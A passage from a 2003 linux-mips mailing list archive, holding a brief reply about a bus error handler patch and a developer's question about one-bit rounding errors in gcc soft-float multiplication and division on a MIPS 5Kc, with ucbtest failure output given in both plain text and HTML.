  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; C00C0000 00000000 80000000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 00000000 
  00000003 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00000000 00000004 xu</FONT> <BR><FONT size=2>Total&nbsp; 340 
  tests:&nbsp; pass&nbsp; 319,&nbsp; flags err&nbsp;&nbsp;&nbsp; 0,&nbsp; value 
  err&nbsp; 21,&nbsp;&nbsp;&nbsp;&nbsp; muld</FONT> <BR><FONT 
  size=2>&nbsp;ucbtest UCBFAIL in muld at line 701 for double </FONT><BR><FONT 
  size=2>&nbsp; </FONT></P>
  <P><FONT size=2>&nbsp;</FONT> </P></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C302A7.63520720--

From karsten@excalibur.cologne.de Mon Apr 14 18:12:42 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 18:12:42 +0100 (BST)
Received: from natsmtp01.webmailer.de ([IPv6:::ffff:192.67.198.81]:21681 "EHLO
	post.webmailer.de") by linux-mips.org with ESMTP
	id <S8225202AbTDNRMl>; Mon, 14 Apr 2003 18:12:41 +0100
Received: from excalibur.cologne.de (pD9E400EA.dip.t-dialin.net [217.228.0.234])
	by post.webmailer.de (8.12.8/8.8.7) with ESMTP id h3EHCbO4003875
	for <linux-mips@linux-mips.org>; Mon, 14 Apr 2003 19:12:38 +0200 (MEST)
Received: from karsten by excalibur.cologne.de with local (Exim 3.35 #1 (Debian))
	id 1957dZ-0000Gv-00
	for <linux-mips@linux-mips.org>; Mon, 14 Apr 2003 19:20:57 +0200
Date: Mon, 14 Apr 2003 19:20:56 +0200
From: Karsten Merker <karsten@excalibur.cologne.de>
To: linux-mips@linux-mips.org
Subject: Re: [patch] Board bus error handler clean-ups
Message-ID: <20030414172056.GB421@excalibur.cologne.de>
Mail-Followup-To: Karsten Merker <karsten@excalibur.cologne.de>,
	linux-mips@linux-mips.org
References: <20030414181421.E9808@linux-mips.org> <Pine.GSO.3.96.1030414184531.24742O-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.GSO.3.96.1030414184531.24742O-100000@delta.ds2.pg.gda.pl>
User-Agent: Mutt/1.3.28i
X-No-Archive: yes
Return-Path: <karsten@excalibur.cologne.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2038
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: karsten@excalibur.cologne.de
Precedence: bulk
X-list: linux-mips

On Mon, Apr 14, 2003 at 06:46:54PM +0200, Maciej W. Rozycki wrote:
> On Mon, 14 Apr 2003, Ralf Baechle wrote:

>  So in it went, together with a handler for ECC-capable DECstations (if
> anyone else cares). 

Yes, I care.

Regards,
Karsten
-- 
#include <standard_disclaimer>
Nach Paragraph 28 Abs. 3 Bundesdatenschutzgesetz widerspreche ich der Nutzung
oder Uebermittlung meiner Daten fuer Werbezwecke oder fuer die Markt- oder
Meinungsforschung.

From DennisCastleman@oaktech.com Mon Apr 14 18:29:44 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 18:29:48 +0100 (BST)
Received: from [IPv6:::ffff:207.16.149.110] ([IPv6:::ffff:207.16.149.110]:53725
	"EHLO mail.teralogic.tv") by linux-mips.org with ESMTP
	id <S8225202AbTDNR3o>; Mon, 14 Apr 2003 18:29:44 +0100
Received: from tlexmail.teralogic.tv (tlexmail [192.168.100.138])
	by mail.teralogic.tv (8.11.6/8.11.6) with ESMTP id h3EHQMO18843;
	Mon, 14 Apr 2003 10:26:24 -0700 (PDT)
Received: by TLEXMAIL with Internet Mail Service (5.5.2653.19)
	id <22AC35XV>; Mon, 14 Apr 2003 10:23:13 -0700
Message-ID: <56BEF0DBC8B9D611BFDB00508B5E2634102F09@TLEXMAIL>
From: Dennis Castleman <DennisCastleman@oaktech.com>
To: Dennis Castleman <DennisCastleman@oaktech.com>,
	"'Ralf Baechle'" <ralf@linux-mips.org>, linux-mips@linux-mips.org
Cc: Gus Fernandez <GusFernandez@oaktech.com>
Subject: RE: Soft floating point on 5K
Date: Mon, 14 Apr 2003 10:23:12 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C302AA.86E97AD0"
Return-Path: <DennisCastleman@oaktech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2039
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: DennisCastleman@oaktech.com
Precedence: bulk
X-list: linux-mips

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C302AA.86E97AD0
Content-Type: text/plain;
	charset="ISO-8859-1"

 
It's a 5Kc without a FPU.
 

Dennis Castleman 

[Dennis Castleman]  -----Original Message-----
From: Dennis Castleman [mailto:DennisCastleman@oaktech.com]
Sent: Monday, April 14, 2003 10:01 AM
To: 'Ralf Baechle'; linux-mips@linux-mips.org
Cc: Gus Fernandez
Subject: RE: Soft floating point on 5K



Ralf
 
Please re-post this with out the legal crap on the bottom.
 
Thanks 

Dennis Castleman 

 -----Original Message-----
From: Dennis Castleman [mailto:DennisCastleman@oaktech.com]
Sent: Monday, April 14, 2003 9:53 AM
To: 'Ralf Baechle'; linux-mips@linux-mips.org
Cc: Gus Fernandez
Subject: Soft floating point on 5K



ALL  

I'm trying to run soft-floating point functions on a r5000 core with a FPU. 
Without having to take the overhead of using a trap.  Using the files
fp-bit.c and dp-bit.c 
from the gcc source as a floating point lib.  This implementation lack in
accuracy in 
the least signeficant bit multiplication in division operations. 

Using the floating point validation test from UCB(ucbtest), which validates 
single and double precision operations for addition, subtraction, division 
and multiplication. This test tests all difficult cases and edge conditions 
(like combination of infinities, Nan etc.). 

Here is the result with our soft-float library:- 
Single precision Addition: Passed all 344 tests. 
Single precision Subtraction: Passed all 316 tests 
Single precision multiplication: Total: 334 Passed:313 Failed: 21 
Single precision division: Total: 379 Passed: 375 Failed: 4 
Double precision Addition: Passed all 352 tests. 
Double precision Subtraction: Passed all 321 tests 
Double precision multiplication: Total: 340 Passed: 319 Failed: 21 
Double precision division: Total: 383 Passed: 379 Failed: 4 

However, in all the failed cases there is only 1 bit different in the
mantissa. 
Essentially for some cases, it's less accurate by the minimum distance. 


Any ideas in how to make this work or improve soft-floating point on a mips
5Kc? 


Value error: divd n eq xu 
        Input:    000FFFFF FFFFFFFE 3FEFFFFF FFFFFFFE 
        Computed: 000FFFFF FFFFFFFE 
        Expected: 000FFFFF FFFFFFFF xu 
Value error: divd n eq xu 
        Input:    000FFFFF FFFFFFF7 3FEFFFFF FFFFFFFE 
        Computed: 000FFFFF FFFFFFF7 
        Expected: 000FFFFF FFFFFFF8 xu 
Value error: divd n eq xu 
        Input:    800FFFFF FFFFFFF8 3FEFFFFF FFFFFFFE 
        Computed: 800FFFFF FFFFFFF8 
        Expected: 800FFFFF FFFFFFF9 xu 
Value error: divd n eq xu 
        Input:    001FFFFF FFFFFFFF 40000000 00000000 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 xu 
Total  383 tests:  pass  379,  flags err    0,  value err   4,     divd 
 ucbtest UCBFAIL in divd at line 701 for double 


Value error: divs n eq xu 
        Input:    007FFFFE 3F7FFFFE 
        Computed: 007FFFFE 
        Expected: 007FFFFF xu 
Value error: divs n eq xu 
        Input:    007FFFF7 3F7FFFFE 
        Computed: 007FFFF7 
        Expected: 007FFFF8 xu 
Value error: divs n eq xu 
        Input:    807FFFF8 3F7FFFFE 
        Computed: 807FFFF8 
        Expected: 807FFFF9 xu 
Value error: divs n eq xu 
        Input:    00FFFFFF 40000000 
        Computed: 007FFFFF 
        Expected: 00800000 xu 
Total  379 tests:  pass  375,  flags err    0,  value err   4,     divs 
 ucbtest UCBFAIL in divs at line 701 for float 

Value error: muld n eq x?u 
        Input:    000FFFFF FFFFFFF8 3FF00000 00000008 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    000FFFFF FFFFFFF8 BFF00000 00000008 
        Computed: 800FFFFF FFFFFFFF 
        Expected: 80100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    000FFFFF FFFFFFFF 3FF00000 00000001 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    00100000 00000001 3FEFFFFF FFFFFFFE 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    00100000 00000002 3FEFFFFF FFFFFFFC 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    20000000 02000000 1FFFFFFF FC000000 
        Computed: 00000000 00000000 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    800FFFFF FFFFFFFF 3FF00000 00000001 
        Computed: 800FFFFF FFFFFFFF 
        Expected: 80100000 00000000 x?u 
Value error: muld n eq xu 
        Input:    00000000 00000001 3FEFFFFF FFFFFFFF 
        Computed: 00000000 00000000 
        Expected: 00000000 00000001 xu 
Value error: muld n eq xu 
        Input:    00000000 00000001 BFEFFFFF FFFFFFFF 
        Computed: 80000000 00000000 
        Expected: 80000000 00000001 xu 
Value error: muld n eq xu 
        Input:    000FFFFF FFFFFFF8 3FF00000 00000001 
        Computed: 000FFFFF FFFFFFF8 
        Expected: 000FFFFF FFFFFFF9 xu 
Value error: muld n eq xu 
        Input:    000FFFFF FFFFFFF8 BFF00000 00000001 
        Computed: 800FFFFF FFFFFFF8 
        Expected: 800FFFFF FFFFFFF9 xu 
Value error: muld n eq xu 
        Input:    000FFFFF FFFFFFFE 3FF00000 00000001 
        Computed: 000FFFFF FFFFFFFE 
        Expected: 000FFFFF FFFFFFFF xu 
Value error: muld n eq xu 
        Input:    000FFFFF FFFFFFFE BFF00000 00000001 
        Computed: 800FFFFF FFFFFFFE 
        Expected: 800FFFFF FFFFFFFF xu 
Value error: muld n eq xu 
        Input:    00100000 00000001 3FEFFFFF FFFFFFFA 
        Computed: 000FFFFF FFFFFFFD 
        Expected: 000FFFFF FFFFFFFE xu 
Value error: muld n eq xu 
        Input:    001FFFFF FFFFFFFF 3FE00000 00000000 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 xu 
Value error: muld n eq xu 
        Input:    001FFFFF FFFFFFFF BFE00000 00000000 
        Computed: 800FFFFF FFFFFFFF 
        Expected: 80100000 00000000 xu 
Value error: muld n eq xu 
        Input:    800FFFFF FFFFFFF7 3FF00000 00000001 
        Computed: 800FFFFF FFFFFFF7 
        Expected: 800FFFFF FFFFFFF8 xu 
Value error: muld n eq xu 
        Input:    BFE00000 00000001 00000000 00000001 
        Computed: 80000000 00000000 
        Expected: 80000000 00000001 xu 
Value error: muld n eq xu 
        Input:    BFF80000 00000000 80000000 00000001 
        Computed: 00000000 00000001 
        Expected: 00000000 00000002 xu 
Value error: muld n eq xu 
        Input:    C0040000 00000001 00000000 00000001 
        Computed: 80000000 00000002 
        Expected: 80000000 00000003 xu 
Value error: muld n eq xu 
        Input:    C00C0000 00000000 80000000 00000001 
        Computed: 00000000 00000003 
        Expected: 00000000 00000004 xu 
Total  340 tests:  pass  319,  flags err    0,  value err  21,     muld 
 ucbtest UCBFAIL in muld at line 701 for double 
  

  


------_=_NextPart_001_01C302AA.86E97AD0
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<TITLE>Soft floating point on 5K</TITLE>

<META content="MSHTML 5.00.3315.2870" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=089543117-14042003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=089543117-14042003>It's a 
5Kc without a FPU.</SPAN></FONT></DIV>
<DIV>&nbsp;</DIV>
<P><FONT face="Comic Sans MS" size=2>Dennis Castleman</FONT> <BR><FONT 
face=Tahoma><BR><FONT size=2><SPAN class=089543117-14042003><FONT color=#0000ff 
face=Arial>[Dennis Castleman]&nbsp;&nbsp;</FONT></SPAN>-----Original 
Message-----<BR><B>From:</B> Dennis Castleman 
[mailto:DennisCastleman@oaktech.com]<BR><B>Sent:</B> Monday, April 14, 2003 
10:01 AM<BR><B>To:</B> 'Ralf Baechle'; linux-mips@linux-mips.org<BR><B>Cc:</B> 
Gus Fernandez<BR><B>Subject:</B> RE: Soft floating point on 
5K<BR><BR></FONT></P>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px"></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=169150817-14042003>Ralf</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=169150817-14042003></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=169150817-14042003>Please re-post this with out the legal crap on the 
  bottom.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=169150817-14042003></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=169150817-14042003>Thanks </SPAN></FONT></DIV>
  <P><FONT face="Comic Sans MS" size=2>Dennis Castleman</FONT>&nbsp;<BR><FONT 
  face=Tahoma><BR><FONT size=2><SPAN class=169150817-14042003><FONT 
  color=#0000ff face=Arial>&nbsp;</FONT></SPAN>-----Original 
  Message-----<BR><B>From:</B> Dennis Castleman 
  [mailto:DennisCastleman@oaktech.com]<BR><B>Sent:</B> Monday, April 14, 2003 
  9:53 AM<BR><B>To:</B> 'Ralf Baechle'; linux-mips@linux-mips.org<BR><B>Cc:</B> 
  Gus Fernandez<BR><B>Subject:</B> Soft floating point on 5K<BR><BR></FONT></P>
  <BLOCKQUOTE></FONT>
    <P><FONT size=2>ALL&nbsp; </FONT></P>
    <P><FONT size=2>I'm trying to run soft-floating point functions on a r5000 
    core with a FPU. </FONT><BR><FONT size=2>Without having to take the overhead 
    of using a trap.&nbsp; Using the files fp-bit.c and dp-bit.c 
    </FONT><BR><FONT size=2>from the gcc source as a floating point lib.&nbsp; 
    This implementation lack in accuracy in </FONT><BR><FONT size=2>the least 
    signeficant bit multiplication in division operations. </FONT></P>
    <P><FONT size=2>Using the floating point validation test from UCB(ucbtest), 
    which validates </FONT><BR><FONT size=2>single and double precision 
    operations for addition, subtraction, division </FONT><BR><FONT size=2>and 
    multiplication. This test tests all difficult cases and edge conditions 
    </FONT><BR><FONT size=2>(like combination of infinities, Nan etc.). 
    </FONT></P>
    <P><FONT size=2>Here is the result with our soft-float library:- 
    </FONT><BR><FONT size=2>Single precision Addition: Passed all 344 tests. 
    </FONT><BR><FONT size=2>Single precision Subtraction: Passed all 316 tests 
    </FONT><BR><FONT size=2>Single precision multiplication: Total: 334 
    Passed:313 Failed: 21 </FONT><BR><FONT size=2>Single precision division: 
    Total: 379 Passed: 375 Failed: 4 </FONT><BR><FONT size=2>Double precision 
    Addition: Passed all 352 tests. </FONT><BR><FONT size=2>Double precision 
    Subtraction: Passed all 321 tests </FONT><BR><FONT size=2>Double precision 
    multiplication: Total: 340 Passed: 319 Failed: 21 </FONT><BR><FONT 
    size=2>Double precision division: Total: 383 Passed: 379 Failed: 4 
    </FONT></P>
    <P><FONT size=2>However, in all the failed cases there is only 1 bit 
    different in the mantissa. </FONT><BR><FONT size=2>Essentially for some 
    cases, it's less accurate by the minimum distance. </FONT></P><BR>
    <P><FONT size=2>Any ideas in how to make this work or improve soft-floating 
    point on a mips 5Kc?</FONT> </P><BR>
    <P><FONT size=2>Value error: divd n eq xu</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE 3FEFFFFF FFFFFFFE</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    000FFFFF FFFFFFFE </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 000FFFFF FFFFFFFF xu</FONT> <BR><FONT size=2>Value 
    error: divd n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF7 3FEFFFFF 
    FFFFFFFE</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 000FFFFF FFFFFFF7 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    000FFFFF FFFFFFF8 xu</FONT> <BR><FONT size=2>Value error: divd n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFF8 3FEFFFFF FFFFFFFE</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    800FFFFF FFFFFFF8 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 800FFFFF FFFFFFF9 xu</FONT> <BR><FONT size=2>Value 
    error: divd n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF 40000000 
    00000000</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 000FFFFF FFFFFFFF 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    00100000 00000000 xu</FONT> <BR><FONT size=2>Total&nbsp; 383 tests:&nbsp; 
    pass&nbsp; 379,&nbsp; flags err&nbsp;&nbsp;&nbsp; 0,&nbsp; value 
    err&nbsp;&nbsp; 4,&nbsp;&nbsp;&nbsp;&nbsp; divd</FONT> <BR><FONT 
    size=2>&nbsp;ucbtest UCBFAIL in divd at line 701 for double </FONT></P><BR>
    <P><FONT size=2>Value error: divs n eq xu</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 007FFFFE 3F7FFFFE</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    007FFFFE </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Expected: 007FFFFF xu</FONT> <BR><FONT size=2>Value error: divs n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 007FFFF7 3F7FFFFE</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    007FFFF7 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Expected: 007FFFF8 xu</FONT> <BR><FONT size=2>Value error: divs n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 807FFFF8 3F7FFFFE</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    807FFFF8 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Expected: 807FFFF9 xu</FONT> <BR><FONT size=2>Value error: divs n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 00FFFFFF 40000000</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    007FFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Expected: 00800000 xu</FONT> <BR><FONT size=2>Total&nbsp; 379 
    tests:&nbsp; pass&nbsp; 375,&nbsp; flags err&nbsp;&nbsp;&nbsp; 0,&nbsp; 
    value err&nbsp;&nbsp; 4,&nbsp;&nbsp;&nbsp;&nbsp; divs</FONT> <BR><FONT 
    size=2>&nbsp;ucbtest UCBFAIL in divs at line 701 for float </FONT></P>
    <P><FONT size=2>Value error: muld n eq x?u</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 3FF00000 00000008</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    000FFFFF FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 00100000 00000000 x?u</FONT> <BR><FONT size=2>Value 
    error: muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 BFF00000 
    00000008</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 800FFFFF FFFFFFFF 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    80100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: muld n eq 
    x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFF 3FF00000 00000001</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    000FFFFF FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 00100000 00000000 x?u</FONT> <BR><FONT size=2>Value 
    error: muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000001 3FEFFFFF 
    FFFFFFFE</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 000FFFFF FFFFFFFF 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    00100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: muld n eq 
    x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000002 3FEFFFFF FFFFFFFC</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    000FFFFF FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 00100000 00000000 x?u</FONT> <BR><FONT size=2>Value 
    error: muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 20000000 02000000 1FFFFFFF 
    FC000000</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 00000000 00000000 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    00100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: muld n eq 
    x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFFF 3FF00000 00000001</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    800FFFFF FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 80100000 00000000 x?u</FONT> <BR><FONT size=2>Value 
    error: muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 00000000 00000001 3FEFFFFF 
    FFFFFFFF</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 00000000 00000000 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    00000000 00000001 xu</FONT> <BR><FONT size=2>Value error: muld n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 00000000 00000001 BFEFFFFF FFFFFFFF</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    80000000 00000000 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 80000000 00000001 xu</FONT> <BR><FONT size=2>Value 
    error: muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 3FF00000 
    00000001</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 000FFFFF FFFFFFF8 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    000FFFFF FFFFFFF9 xu</FONT> <BR><FONT size=2>Value error: muld n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 BFF00000 00000001</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    800FFFFF FFFFFFF8 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 800FFFFF FFFFFFF9 xu</FONT> <BR><FONT size=2>Value 
    error: muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE 3FF00000 
    00000001</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 000FFFFF FFFFFFFE 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    000FFFFF FFFFFFFF xu</FONT> <BR><FONT size=2>Value error: muld n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE BFF00000 00000001</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    800FFFFF FFFFFFFE </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
